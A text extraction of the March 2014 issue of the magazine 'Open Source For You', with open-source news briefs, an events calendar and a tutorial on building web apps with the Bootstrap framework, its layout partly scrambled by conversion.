The dream of Sugata Mitra, Newcastle University professor for educational technology, to bolster learning in communities where there's a lack of access to basic education, has finally come to life. In his attempt to end schooling as we know it, Mitra's ambitious ‘School in the Cloud' has opened its first branch in New Delhi. The concept here is simple: minimally invasive education that allows kids to ask and answer questions for themselves! "Working in small groups, children can competently search for answers to ‘big questions', drawing rational, logical conclusions. This is far ahead of what is expected of them in their school curriculum and is a kind of learning activated by questions, not answers," Suneeta Kulkarni, research director for the School in the Cloud project was quoted as saying. Mitra's fascination with the cloud began back in 1999 when his ‘Hole in the Wall' experiment brought computers into rural Indian villages. ‘School in the Cloud' is simply an extension of the same concept.

US army uses Linux-powered rifles

In what can be termed as a notable success for the open source world, the US army has purchased smart rifles that are powered by Linux for its soldiers. TrackingPoint, an Austin, Texasbased applied technology company, has revealed that the US military has purchased six smart rifles, priced between US$ 10,000 and US$ 27,000. With this rifle, a soldier just needs to tag a target seen on the screen found on the gun's scope. The Linux powered computer fitted within the gun will then tell the shooter how to hold the gun and when to press the trigger to hit the target accurately. This rifle is a clear example of how flexible and powerful Linux is.

Calendar of forthcoming events Name, Date and Venue

Description

Contact Details and Website

Enterprise CIO Summit 2014 March 21, 2014; Mumbai

Around 150 CIOs, CTOs, vice presidents (IT), and heads of IT are expected to attend this summit. They will share and discuss strategies on expansion of business and the use of technology. Speakers at the summit will share their vision and the path-breaking ideas that helped them transform their business.

Uma Varma, Manager-Marketing & Operations; Email: uma.varma@ thelausannegroup.com; Ph: 8884023243; http://www.enterpriseciosummit. com/

RubyConf India 2014 March 22-23, 2014 March; The LaLiT Golf & Spa Resort, Goa

The event is a great opportunity for Ruby enthusiasts to brainstorm, network and learn about the latest technology changes first-hand.

Gautam Rege; Email: gautam@joshsoftware.com; Ph: 91 9881395656; http://rubyconfindia.org

4th Annual Datacenter Dynamics Converged April 24, 2014; Mumbai

The event aims to assist the community in the datacentre domain in exchanging ideas, accessing market knowledge and launching new initiatives

Email: info@datacenterdynamics. com; Ph: 22 6636 4332; http://www.datacenterdynamics. com/conference

9th Annual Datacenter Dynamics Converged May 26, 2014; Dubai

The event aims to assist the community in the datacentre domain by exchanging ideas, accessing market knowledge and launching new initiatives

Email: info@datacenterdynamics. com; Ph: 22 6636 4332; http://www.datacenterdynamics. com/conference

2nd Annual The Global 'High on Cloud' Summit May 28th and 29th; Mumbai

The summit will address the issues, concerns, latest trends, new technology and upcoming innovations on the Cloud platform. It will be a open forum, giving an opportunity to everyone in the industry to share their ideas.

Email: contactus@besummits.com; Ph: 80-49637000; Website: http://www.theglobalhighoncloudsummit.com/#!about-thesummit/c24fs

4th Annual Datacenter Dynamics Converged September 18, 2014; Bengaluru

The event aims to assist the community in the datacentre domain in exchanging ideas, accessing market knowledge and launching new initiatives

Email: contactus@besummits.com ; Ph: 80-49637000; Website: http:// www.theglobalhighoncloudsummit. com/#!about-the-summit/c24fs

Open Source India, November 7-8, 2014; NIMHANS Center, Bengaluru

It is the premier Open Source conference in Asia that aims to nurture and promote the open source ecosystem in the sub-continent.

Atul Goel-Sr.Product & Marketing Manager; Email: atul.goel@efyindia. com; Ph: 0880 009 4211

5th Annual Datacenter Dynamics Converged; December 9, 2014; Riyadh

The event aims to assist the community in the datacentre domain by exchanging ideas, accessing market knowledge and launching new initiatives

contactus@besummits.com; Ph: 80 4963 7000; Website: http:// www.theglobalhighoncloudsummit. com/#!about-the-summit/c24fs

on its work to address a variety of additional capabilities and features in subsequent releases," claim sources in OpenDaylight. The OpenDaylight project is an open source platform meant for network programmability that will enable SDN, and create a solid foundation for Network Functions Virtualisation (NFV) for networks. Hydrogen is now available for download and subsequent evaluation, commercialisation and deployment of SDN and NFV. It includes prebuilt-versions for RPM-based Linux distros and ready-torun Hydrogen OpenDaylight virtual machines for Fedora and Ubuntu. Hydrogen is available in three different editions: Base Edition, Virtualisation Edition and Service Provider Edition.

Linux Kernel 3.13.1 released

Linux Kernel developer, Greg Kroah-Hartman has officially announced the first update for the stable Linux kernel 3.13. The update is only a small one, with minute changes and fixes. However, succeeding versions would eventually pick up pace. Greg’s announcement reads: “I'm announcing the release of the 3.13.1 kernel. All users of the 3.13 kernel series must upgrade. The updated 3.13.y git tree can be found at: git://git.kernel.org/ pub/scm/linux/kernel/git/stable/linux-stable.git linux-3.13.y and can be browsed at

20 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

FOSSBYTES the normal kernel.org GIT Web browser http://git.kernel.org/?p=linux/kernel/git/ stable/linux-stable.git;a=summary. Users currently employing the first release in the Linux kernel 3.13.x branch should consider an update now.” As most of us know, the Linux Kernel is responsible for resource allocation, low-level hardware interfaces, security, simple communications, and basic file system management in Linux. Created by Linus Torvalds, it aims towards POSIX and Single UNIX Specifications compliance.

This ARM mini-computer is powered by KDE!

Nitrux, the creator of the Compass and Flater icon themes, has come out with the QtBox, a small and portable device measuring just 8.8 cm x 8.8 cm x 8.3 cm, powered by KDE and supposedly quite ‘affordable'. The ARM mini-computer might be just the one the market has been waiting for! Built on entirely open hardware, Nitrux insists the company has gone the extra mile to ensure a great build quality, while offering a mini PC that runs the Nitrux OS 1.0 operating system and uses the eye-candy of the KDE 4.12 desktop environment. The tech specifications include a quad-core 2.0 GHz Exynos 4412 CPU and a Mali 400 GPU. The device features 2 GB RAM, and comes with three internal storage options—8 GB, 16 GB and 64 GB. Connectivity options include Ethernet, 3x USB ports, a micro-HDMI port, a micro-USB port, a 3.5 mm jack and MicroSD slot. The impressive spec sheet does not necessarily mean a hefty price tag. The QtBox mini-computer from Nitrux is rather very affordable, at US$ 200 for the 8 GB version, US$ 225 for the 16 GB model, and US$ 275 for the 64 GB option. Further, all the options come with an expandable memory of up to 64 GB via MicroSD card. The company has already started taking pre-orders.

Here's a complete ‘made in India' 3D printer!

3D printing is rapidly becoming popular all over the world, chiefly among DIYers, researchers and hobby engineers. Well, how could India be left behind? Mumbai's very own Divide By Zero Technologies has come out with the Accucraft S150, which is a totally ‘made in India' 3D printer. With this device, the company wants to take the Indian market, which is still relatively at a nascent stage in terms of the technology, by storm. The printer ships in the form of a steel box in a sturdy design that can cater to a variety of 3D printing needs. Consuming 700 watts of power and an input of 100-230V AC, the printer is capable of a printing volume measuring 16 cm³. The

Dell's Android-based PC on a stick is now available!

It's been a long time arriving, but it's finally here! Demonstrated over a year ago at the International CES trade show in Las Vegas under the code name ‘Project Ophelia', Dell's fancy Android-based Wyse Cloud Connect is finally available. Shipped by Dell at an introductory price of US$ 129, Wyse Cloud Connect offers users a mobile virtual desktop client.

The device, slightly larger than a USB stick, simply needs a computer display or a TV via MHL or HDMI, a Bluetooth keyboard and mouse, and is good to go! It is powered by a multicore ARM Cortex-A9 processor and runs Android 4.1. It offers 8 GB of integrated storage that is expandable via a MicroSD card slot. It has 1 GB RAM and supports a maximum resolution of 1080p. Connectivity options include Wi-Fi and Bluetooth. The Wyse Cloud Connect can be used to play games, watch streaming movies/TV programmes or simply for Web surfing. The advantage here is that you can do stuff you normally do on other Android-based devices with bigger screens.

www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 21

FOSSBYTES

Build yourself a Raspberry Pi-powered tablet crafted from wood!

An evangelist for MakerMedia, Michael Castor, has developed the PiPad—an all-in-one system that is usable, portable and Linux-based. And it uses a US$ 40 Raspberry Pi Model B, Revision 2.0 for its core. The finished product is not the slimmest or lightest of devices, but has the kind of classic, elegant design cues that aren't often associated with mobile gadgetry. The credit-card sized system board uses the Broadcom BCM2835 system on chip (SoC) and an ARM1176JZF-S 700MHZ processor. It also includes an on-board HF-capable VideoCore IV GPU offering high-definition video playback, and has 512 MB of RAM. An SD card is used for booting and long-term storage. For an interface, Castor used a 25.4-cm (10-inch) capacitive touchscreen from ChalkElec.com.

Italy to use open source technology in public administration!

All public administrations in Italy will now have to first consider re-used or free software before committing to proprietary licences, according to a set of new rules issued by the government that implement a change to the country’s procurement law. Quite simply, Italy puts free software first in the public sector. Importantly, the new rules clearly include an enforcement mechanism, which deems that open source software be used first and foremost in all public sector mechanisms. Italian public administrations are now obliged to give priority to free and open source software under the new rules. This preference, however, cannot be given without a comparative assessment.

developers claim the Accucraft S150 delivers position precision of 10 microns and can print at 300 mm/sec. The printer is fast and precise, and prints at the click of a button. It can print bigger objects in parts. All that is needed is a design in the specified format, and the Accucraft S150 prints the entire object in parts, which can then be assembled using plastic welding or engineering grade adhesives. The build platform itself can be removed, which makes taking out the printed objects easy.

Microsoft to go to ‘open access' for its researchers' publications

Even as Microsoft holds out against releasing its main products as open source, its Microsoft Research arm is moving towards open access for its researchers' publications. “Microsoft Research is committed to disseminating the fruits of its research and scholarship as widely as possible because we recognise the benefits that accrue to scholarly enterprises from such wide dissemination, including more thorough review, consideration and critiques, and a general increase in scientific, scholarly and critical knowledge," the company’s open access policy reads. Peter Lee, head of Microsoft Research, discussed three main motivations for basic research at Microsoft in a recent interview: "The first relates to an aspiration to advance human knowledge, the second derives from a culture that relies deeply on the ambitions of individual researchers, and the last concerns promoting open publication of all research results and encouraging deep collaborations with academic researchers."

This open source smart thermostat is an Arduino alternative to Nest

Four engineers from Spark have pooled their skills and resources to make a new open source smart thermostat based on Arduino with the use of US$ 70 worth of components. The new open source smart thermostat is created to provide an Arduino option to the Nest thermostat that was recently bought by Google for US$ 3.2 billion. The Spark smart thermostat is derived from the team's own Spark Core Arduino compatible wireless development board, on which a humidity and temperature sensor, an IR motion detector, along with a range of Adafruit 8 x 8 LED matrices to display information to users, have been added. The primary sensor inside the open source smart thermometer is a Honeywell HumidIcon temperature and humidity sensor, which shares the I2C bus with the displays. Here’s what the team said about its open source creation: “All in all, it took about an hour to throw together this breadboarded prototype, although we had to order the components a couple of days beforehand. It took another couple of hours to pull together working firmware. The next step was to build an enclosure. The Nest enclosure uses glass and aluminium, which are both very pretty but not very handy for prototyping. Instead, we chose acrylic and wood.”

You can shut down your PC with your Android phone!

Rebooting your PC is a fairly simple thing to do but you don’t always have the time to do so, and another alternative to complete this task would be very handy. This is where the app, Droid Remote Lite, comes in. If your PC shutdown process is holding you up, then Droid Remote Lite is definitely the answer for you. The app aims to give you the power to remotely perform four tasks on your PC— shut it down, restart it, put it into hibernation mode, and abort it. All you have to do is install the app on your Android-powered device, install the executable file on your PC, and make sure your Android phone and PC are on the same Wi-Fi network. Open the app and choose one of four different options: shutdown, restart, hibernate, and

22 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

FOSSBYTES abort, and your job is as good as done. Droid Remote Lite not only gives you an easy way to manage these four power states, it also provides you with a nifty little timer feature that allows you to set a designated time for the app to send one of the four commands to your PC. Set the timer for when you leave the house in the morning and forget about wasting electricity again.

openSUSE 12.2 bids adieu to users

The life of openSUSE 12.2 has officially ended. After as many as 748 updates for the distro, developers from the openSUSE project have stopped work on openSUSE 12.2, giving the go ahead to version 13.1. “With the release of the gnumeric on January 27, 2014, the SUSE sponsored maintenance of openSUSE 12.2 has ended. openSUSE 12.2 is now officially discontinued and out of support by SUSE. openSUSE 12.2 was released on September 5, 2012, and received 17 months of security and bugfix support,” the official announcement by the developers read. openSUSE Linux is an open project that provides users with free and easy access to the world's most usable Linux distribution: SUSE Linux. openSUSE is a Linux-based operating system that allows users to surf the Web, do office work, manage photos and e-mails, as well as play music and videos. The worldwide community program is sponsored by Novell. The OS is distributed as Live CD ISO images that come in separate GNOME and KDE editions, supporting both 32-bit and 64-bit architectures.

Intel develops ‘cloudless’ voice recognition system

As per current statistics, Apple's Siri holds the distinction of being ‘almost' the right voice recognition system till date with its accuracy improving with every update. However, the slowness of computation is something that bugs us all. Chip manufacturer Intel has reportedly found a solution for this problem, which will also take on the might of Siri. According to Mike Bell, head of wearable technology at Intel, the company is developing a voice recognition system without the cloud to localise processing so that the round-trip to the cloud is ruled out. Voice recognition systems working on any platform are normally designed to work with servers, and the device then sends compressed signals to the server and waits for a response. To demonstrate how it works, Intel has developed a prototype of a wearable headset called Jarvis, with built-in voice recognition software. The solution will be more responsive than other ‘cloud-obsessed’ solutions in the market, claims Intel. The company has partnered with an unnamed third party to put the software on the Intel mobile processors.

Jolla’s Sailfish OS now ported to Nexus 4

Currently, there is only one phone that’s designed to ship with the Sailfish operating system. But Sailfish is based on open source software, and has now been successfully installed on the Google Nexus 4 smartphone. A YouTube user has posted a video showing the installation and set-up process. Installation looks fairly easy. The developer uses ROM Manager to install the OS. The actual OS is not really shown. This video is more of a how-to for the installation process. You can flash Sailfish using ClockworkMod Recovery, one of several tools that also lets you flash many phones and tablets with custom Android ROMs and other software updates. Jolla further plans on porting Sailfish to the Nexus 5 and Nexus 7 as well. Sailfish OS is a Linux-based mobile OS that has a proprietary skin on it. Jolla puts its skin on it, but the operating system is developed in cooperation with Mer and is supported by the Sailfish Alliance. Jolla's aim is primarily to get Sailfish OS running on devices targeted at developing countries, in line with Firefox OS and Ubuntu Touch OS.

A wireless USB receiver for Android devices

There are quite a few solutions that allow users to expand the features of their Android device; however, most of them fall short of the InputStick. Curious? Well, InputStick is a wireless USB receiver that plugs into a computer and establishes a link between that computer and your Android device by simply running the companion app on a device running on at least Android 2.3. You can now use your mobile device as a keyboard, mouse, game controller, presentation remote, bar code scanner and even a password manager. InputStik measures 57x19x9 mm and weighs only 8 grams. It has the USB 2.0 (full speed) interface. The range of the Bluetooth 2.1 device is up to 10 metres. The device works on Android 2.3 or later and needs at least one available USB port to function. Further, the USB host must supply at least 100 mW of power. The advantage of InputStik over other solutions lies in the fact that it is compatible with any USB-enabled hardware and works out-of-the-box. There will be several InputStickcompatible applications available for free: Remote Controller, Password Manager, Presentation Remote, Barcode Scanner, Gamepad, etc. To use InputStick, you will have to install the InputStick Utility app on your Android device. It will guide you, step-by-step, through the pairing process, allow you to manage all your InputStick devices, upgrade firmware if necessary (via Bluetooth), and provide the background services needed for communication between apps and InputStick. The available Android API will allow you to use InputStick in your own applications.

www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 23

Developers

Let's Try

Developing Web Apps with Bootstrap This article introduces Bootstrap, which is a sleek, intuitive and powerful mobile frontend framework for faster and easier Web app development. The authors take the reader through the process of installing Bootstrap and configuring it.

n today’s vast Web development arena, developers need an open source tool that allows them to create almost everything a typical website requires, yet is flexible enough for customisation and is device independent. The Bootstrap framework is the latest innovation to hit the design and development arena, making the creation of websites and apps easier, faster and better, in general. It provides you with all those basic modules like grids, typography, basic HTML and responsiveness. Besides, there are a plethora of useful front-end components like drop-downs, navigation, headers and many more to explore. With these, you can get a Web project up and running, quickly and easily. Bootstrap was originally created by two designers and developers, Mark Otto and Jacob Thorton at Twitter, to provide a refined, well-documented and extensive library of flexible design components built with HTML, CSS and JavaScript, for other employees to build and innovate on. Since then, there have been over 20 releases including two major rewrites with v2 and v3, the latest being Bootstrap 3.0.3 As stated by the developers themselves, it “…helps nerds do awesome stuff on the Web,” and even amateur Web designers can create jaw dropping stuff once they get

24 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

their hands on Bootstrap. The rigorous coding and testing a developer spends time on to design a Web page that fits into everything is totally compensated by the responsive design of Bootstrap. Let us explore why Bootstrap is one of the conquerors of the Web framework today. The great grid system: Bootstrap is built on responsive 12-column grids, layouts and components. Whether you need a fixed grid or a responsive one, it’s only a matter of a few changes. Offsetting and nesting of columns is also possible in both fixed and fluid width layout. Bundled JavaScript plugins: The ready-to-deploy JavaScript plugins play a pivotal role. A developer can easily manipulate modal window alerts, tooltips, ScrollSpy, Popover, Button, Typeahead, etc. Responsiveness: Bootstrap is responsive. If you shift from a laptop to an iPad, and from an iPad to a Mac, you won’t have to fret over your work. Bootstrap adapts to the change in platforms with super speed and efficiency. Customisable and with theming: A great aspect of Bootstrap is that you can make it your own. You can sit down and rummage through the whole framework and keep what you need and ditch what you don’t.

Let's Try Wrapbootstrap is a popular market place, where developers can portray their own themes and templates designed using the Twitter Bootstrap framework. Extensive list of components: Whether you need drop down menus, pagination or alert boxes, Bootstrap has got everything covered. The styling of every single element follows a consistent theme. Some of the pre-styled components are: • Drop-downs • Button groups • Navigation bar • Breadcrumbs • Labels and badges • Alerts • Progress bar • And many others Good documentation: The case with most newer platforms is that they don’t have proper documentation, but Bootstrap provides great documentation with examples and demos that only make it easier for even someone new.

Getting started

Bootstrap has a few easy ways to quickly get started, each one appealing to a different skill level and use case. • Download compiled: The fastest way to get Bootstrap is to download the precompiled and ‘minified’ versions of its CSS, JavaScript and fonts. No documentation or original source code files are included. Once downloaded, unzip the compressed folder to see the file structure of (the compiled) Bootstrap as given below: bootstrap/ ├── css/ │ ├── bootstrap.css │ ├── bootstrap.min.css │ ├── bootstrap-theme.css │ └── bootstrap-theme.min.css ├── js/ │ ├── bootstrap.js │ └── bootstrap.min.js └── fonts/ ├── glyphicons-halflings-regular.eot ├── glyphicons-halflings-regular.svg ├── glyphicons-halflings-regular.ttf └── glyphicons-halflings-regular.woff

Developers

• Downloaded source code: The Bootstrap source code download includes the precompiled CSS, JavaScript, and font assets, along with source LESS, JavaScript and documentation. It includes the following and more: bootstrap/ ├── less/ ├── js/ ├── fonts/ ├── dist/ │ ├── css/ │ ├── js/ │ └── fonts/ ├── docs-assets/ ├── examples/ └── *.html

• Basic template: To make a bootstrapped template, start with the basic HTML template that includes everything we mentioned in file structure. Here is an example: <!DOCTYPE html> <html> <head> <title>Bootstrap 101 Template</title> <meta name=”viewport” content=”width=device-width, initialscale=1.0”> <script src=”js/bootstrap.min.js”></script> <link href=”css/bootstrap.min.css” rel=”stylesheet”> </head> <body> <h1>Hello, world!</h1> </body> </html>

CSS and typography

Bootstrap has been primarily developed for mobiles, so instead of adding optional mobile styles, they are ‘baked’ directly into the core. By using the view-port meta tag in the head section, rendering and zooming can be achieved on any device. Bootstrap extends this responsiveness to even the images, just by adding a class: <img src=”...” class=”img-responsive” alt=”Responsive image”>

Table 1: Working of the Grid System

Phones(<768px)

Tablets(>768px)

Desktops(>992px)

Large desktops(>1200px)

Grid behaviour

Horizontal

Max container width

None(auto)

750px

970px

1170px

Class prefix

.col-xs-

.col-sm-

.col-md-

.col-lg-

No of columns

Max column width

Auto

60px

78px

95px

www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 25

Developers .col-md-1

.col-md-1 .col-md-1 .col-md-1

Let's Try .col-md-1 .col-md-1

.col-md-1

.col-md-1 .col-md-1

.col-md-8

.col-md-4

.col-md-6

.col-md-1 .col-md-1 .col-md-1

.col-md-4

.col-md-6

Figure 1: Grid System Layout

Container: This is a place where content can be stored in Bootstrap! Container here is a Bootstrap class, which sets the page width at various media query breakpoints: <div class=’container’>Page Content...</div>

The basic features of the grid system are: Responsive Mobile-first fluid grid system It appropriately scales the page up to 12 columns based on the device or view-port size. This system uses predefined classes for easy page layout options, through a series of rows and columns that house the content, as shown in Table 1. Based on the device used, the corresponding classes are to be included. This fluid grid comes with the feature of both nesting and offsetting. <div class= ’row’> //Divs inside a ‘row’ sum up to 12 <div class=’col-md-6’>Div Content</div> <div class=’col-md-6’> //Nesting of divs internally <div class=’col-md-6’>Nested div 1</div> <div class=’col-md-6’>Nested div 2</div> </div> </div> <div class=’col-md-6 col-md-offset-4’>Div with offset of 4 columns</div> //Offsetting divs

Typography: All basic tags like ‘h1’, ‘h2’ (headings), ‘p’, ‘small’ and ‘strong’ are supported here. List elements like ‘ul’, ‘li’ and ‘ol’ are also present. Additional functionality that comes with Bootstrap is the alignment of the elements. <p class= ’text-left’>Para Content</p> //Left aligned text <p class= ’text-right’>Para Content</p> //Right aligned text

Table: Bootstrap’s table classes make a simple HTML table more attractive: • table-striped: gives alternate striped colours to the rows. • table-bordered: borders for the table. • table-hover: highlights the row which is hovered. Forms: Just as with the tables, Bootstrap plays the 26 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

role of making the form more user friendly. Forms can be displayed in various formats by using the following classes: • form-inline: left-aligned and inline block controls • form-horizontal: the form elements behave as grid rows • checkbox-inline: cluster of check-boxes aligned side by side Form states like ‘input-focused’ or ‘disabled’ form fields are also included. Form validations like error or success can also be applied by using classes like ‘has-error’, ‘has-success’, etc. Images: It displays the same image in different shapes. This is what Bootstrap classes can deliver: • img-rounded: image with rounded corners • img-circle: circular image • img-thumbnail: image in the form of thumbnail Helper classes: Functionality for generic icons like close and drop-down is obtained by using these helper classes alongside the elements. Responsive utilities: These utility classes help to toggle content across view-port breakpoints. • visible-xs: Visible for only small devices and hidden for others • visible-md: Visible only for medium-sized devices • hidden-xs: Hidden only on small devices and visible on the rest. Print classes: Similar to the classes discussed above, print classes can be used for toggling specific content for printing.

Extensive list of components

Bootstrap provides over a dozen reusable components that can pump life into a website. Web developers have to simply find out the right piece of code and fit it into the structure they are working on. In addition to this, a lot of the styling and design aspects are already taken care of. Some of the components pre-styled are: Drop-downs: Toggleable, contextual menu for displaying lists of links. Here is an example: <div class=”dropdown”> <button class=”btn dropdown-toggle sr-only” datatoggle=”dropdown”> Dropdown<span class=”caret”></span></button> <ul class=”dropdown-menu” role=”menu”> <li><a href=”#”>Action</a></li> </ul> </div>

• Button groups: Groups a series of buttons together on a single line with the button group. For example, you can wrap a series of buttons within a div using a ‘btn' in ‘btn-group'. See Figure 2. Nav: All nav components here, like tabs and pills, have shared

Let's Try

<nav class=”navbar navbar-default” role=”navigation”> <div class=”navbar-header”> <button type=”button” class=”navbar-toggle” data- toggle=”collapse” data target=”#bs-example-navbar-collapse-1”></button> <a class=”navbar-brand” href=”#”>Brand</a>  </div> </nav>

Breadcrumbs: Indicate the current page’s location within a navigational hierarchy. By adding a ‘breadcrumb' class to an ordered list, the list items will act as a breadcrumb. Pagination: Provides pagination links for your site or app with the multi-page pagination component. See Figure 5. <ul class=”pagination”> <li><a href=”#”>&laquo;</a></li> <li><a href=”#”>1</a></li> <li><a href=”#”>2</a></li> <li><a href=”#”>&raquo;</a></li> </ul>

Labels and Badges: Easily highlight new or unread items like in the case of mails. See Figures 6 and 7. <span class=”label label-default”>Default</span> <span class=”label label-primary”>Primary</span> <span class=”label label-success”>Success</span> Or <a href=”#”>Inbox <span class=”badge”>42</span></a>

Progress bars: Provide up-to-date feedback on the progress of a workflow or action. These are generally ‘div’ elements with ‘progress' and ‘progress-bar' classes. Input the progress value as the width attribute and see the bar doing its work. See figure 8. Well: To be used on an element to give it an inset effect: <div class=”well”>...</div>

Media object: Abstract object styles for building various

EXAMPLE

Left

EXAMPLE

Middle

Home

Right

EXAMPLE Profile

Messages

Home

Profile

Messages

Figure 2: Button groups Figure 3 and 4: Navigation components

Figure 6: Labels & Badges

Figure 5: Pagination Default

Primary

Inbox 42

markup, starting with the base nav class. See Figure 4. • Tabs: Add a nav-tabs class to an unordered list and the list items in it act as tabs. See Figure 3. • Pills: Similar to tabs but with a class nav-pills, and the list items act as pills. Navbars: They are responsive meta components that serve as navigation headers for your application or site. They begin collapsed (and are toggleable) in mobile views and become horizontal as the available view-port width increases.

Developers

Success

Info

Warning

Danger

Figure 7: Labels and Badges Figure 8: Progress bar Media heading 64×64

Cras sit amet nibh libero, in gravida nulla. Nulla vel metus scelerisque ante sollicitudin commondo. Cras purus odio, vestibulum in vulputate at, tempus viverra turpis. Fusce condimentum nunc ac nisi vulputate fringilla. Donec lacinia congue felis in faucibus.

Figure 9: Media object @

Username

.00

Figure 10: Input groups

types of components (like blog comments, tweets, etc) that feature a left- or right-aligned image alongside textual content. You can include an image inside a ‘div’ with class as ‘media', and the rest is taken care by Bootstrap. See figure 9. Input groups: Extends form controls by adding text or buttons before, after or on both sides of any text-based input (Figure 10). <div class=”input-group”> <span class=”input-group-addon”>@</span> <input type=”text” class=”form-control” placeholder=”Username”> </div>

JavaScript

Bootstrap comes with a bunch of predefined JavaScript plugins. These can be accessed individually (separate .js files) or via the main bootstrap .js/bootstrap.min.js, which contains all these plugins. Just input the content into the Bootstrap templates, and include them into the HTML code. These plugins are accessible via the mark-up API without writing any JavaScript code, and you can see them in action. Let’s have a brief look at the plugins: Modal: These are streamlined, but flexible, dialogue prompts with the minimum required functionality and smart defaults: www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 27

Developers Home

Profile

Let's Try

Dropdown

Raw denim you probably haven't heard of them jean shorts Austin. Nesciunt tofu stumptown aliqua, retro synth master cleanse. Mustache cliche tempor, williamsburg carles vegan helvetica. Reprehenderit butcher retro keffiyeh dreamcatcher synth. Cosby sweater eu banh mi, qui irure terry richardson ex squid. Aliquip placeat salvia cillum iphone. Seitan aliquip quis cardigan american apparel, butcher voluptate nisi qui.

Home

Profile

Dropdown

Food truck fixie locavore, accusamus mcsweeney's marfa nulla single-origin coffee squid. Exercitation +1 labore velit, blog sartorial PBR leggings next level was anderson artisan four loko farm-to-table craft beer twee. Qui photo booth letterpress,commodo enim craft beer mlkshk aliquip jean shorts ullamco ad vinyl cillum PBR. Homo nostrud organic, assumends labore aesthetic manga deletus mollit. Keytar helvetica VHS salvia yr, vero manga velit sapiente labore stumtown. Vegan fanny pack odio cillum wes andereson 8-bit, sustainable jean shorts beard ut DIY ethical culpa terry richardson biodiesel. Art party scenester

confused with the menu item in which you are navigating? Here is the solution—just integrate the menu with the plug-in and the menu item will be highlighted. While scrolling down the page, the next menu item gets highlighted automatically. Toggleable tabs: If you want to show large grouped content on a single page, then here’s the solution:

Figure 11: Toggleable tabs Tooltip on left

<ul class=’nav nav-tabs’>List items</ul> <div class=’tab-content’> <div class=’tab-pane’>Pane Content 1</div> <div class=’tab-pane’>Pane Content 2</div> <div class=’tab-pane’>Pane Content 3</div> </div>

Tooltip on left

Figure 12: Tooltips EXAMPLE A Title

Click to toggle popover

And here's some amazing content. It's very enganging. right?

Tooltips: Imagine an interactive help text on a Web page. Include this plugin and by hovering on the content, users will get the help text (Figure 12). <div class=’tool tip’> <div class=’tin-opener>ToolTip!</div> <div class=’tooltip-arrow’></div> </div>

Figure 13: Popover Oh snap! You got an error! Change this and that and try again. Duis millis, est non comodo luctus, nisi erat porttitor ligula, eget lacinia odio sem nec elit. Cras mattis consectutur purus sit amet fermentum.

Take this action

Or do this

Figure 14: Alert panel <div id=’modalID’> <div class=’modal-content’> <div class=’modal-header’>Title Content</div> <div class=’modal-body’>Body Content</div> <div class=’modal-footer’>Footer Content</div> </div> </div>

This modal accepts methods like show, toggle and hide. There are options like keyboard:false/ true for toggling the keyboard for the particular modal. Dropdown: Adds a dropdown functionality to nearly all elements like navbar, tabs and even to buttons. <div class=’dropdown’> <a data-toggle=’dropdown’>Dropdown Triggering element</a> <ul class=’dropdown-menu’> …..</ul> </div>

ScrollSpy: Ever been

Popover: If the text to be displayed is too large, toggle on the content and get an overlaying popover housing secondary info. By giving options via attributes like title, content, delay and animation the popover can be used. It also has methods like show, hide, destroy, etc. Alert: Add the dismiss functionality to all alert messages with this plugin. By using this, the alerts can be either invoked or dismissed. Buttons: Control button states or creates a group of

Table 2: Plug-ins at a glance

Plugin name

.js file used

Access via JavaScript

Transition

transition.js

CSS transition emulator used by other plugins

Modal

Modal.js

$(‘modalID’).modal(options/methods/events)

Dropdown

Dropdown.js

$(‘dropDown’).dropdown(methods)

ScrollSpy

Scrollspy.js

$(‘body’).scrollspy({target:’targetMenuId’}/options/ methods/events)

Togglable tabs

Tab.js

$(‘tabPane tabId’).tab(options/methods/events)

Tooltips

Tooltip.js

$(‘elementId’).tooltip(options/methods/events)

Popovers

Popover.js

$(‘elementId’).popover(options/methods/events)

Alert messages

Alert.js

$(‘alertId’).alert(methods/events)

Buttons

Button.js

$(‘buttonId’).button(methods)

Collapse

Collapse.js

$(‘collapseDiv’).collapse(options/methods/events)

Carousel

Carousel.js

$(‘carouselDiv’).carousel(options/methods/events)

Affix

Affix.js

$(‘affixDivId’).affix(options)

28 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

Let's Try

Developers

These plugins can be invoked by methods which accept optional options object for particular methods and can be initialised with defaults/options/events. Bootstrap has custom events, which can be triggered before or after the action of the plugins like: * show: which is used to invoke an event; * shown: which is used post the plugin action. In case Bootstrap plugins are used along with other frameworks, then to prevent the name-space collisions, the .noConflict() function can be used. Table 2 gives a summary of the plug-ins we have. Figure 15: Carousel images

buttons with this plugin. By giving specific data-attributes to buttons like: data-loading-text=’Loading...’, the button text changes on being clicked. data-toggle=’button’ to activate toggling on a single button data-toggle=’buttons’ to group of check-boxes/radio for getting similar action on the button groups Collapse: Includes collapsible actions for accordions, navigations. This plugin has dependency on the transition. js plugin

<div id=’accordion’> <div class= ’panel’> //Panel 1 <div class=’panel-heading’>Heading</div> <div class=’panel-body’>Body Content</div> </div> <div class= ’panel’> //Panel 2 <div class=’panel-heading’>Heading</div> <div class=’panel-body’>Body Content</div> </div> </div>

Carousel: A slide-show for cycling through elements is implemented via this generic plugin in the form of a carousel. Options like intervals for automatic scrolling, and pauses for stopping the slider at a particular image can be used as added functionality (Figure 15). Affix: Integrate the navigation menu with this plug-in and the menu is fixed on the page. Now the navigation can be accessed anywhere, anytime. By setting the data-offset attribute, the menu can be fixed anywhere on the page: <div data-spy=’affix’ data-offset-top=’10px’ data-offsetbottom=’50px’> Navigation Menu </div>

References [1] http://getbootstrap.com/ [2] http://getbootstrap.com/2.3.2/ [3] https://wrapbootstrap.com/

By: Malineni Phani Kumar and Usha Khetan The authors work at Ericsson as software engineers adept at application development including designing, programming and implementation of core modules. They enjoy designing and developing Web applications with open source technologies. They can be reached at phani.kumar.malineni@ericsson.com and usha.khetan@ericsson.com.

PACKWEB

PACK WEB HOSTING ProX

Time to go PRO now

www.packwebhosting.com

0-98769-44977 support@packwebhosting.com

A Leading Web & Email Hosting Provider

Specialists in

Hosting Sites built with

OpenSource Technologies

ProX Plans

Have a High Traﬃc Website? Considering VPS/Server? Visit prox.packwebhosting.com Wordpress

Joomla

Why Us?

Magento

Drupal

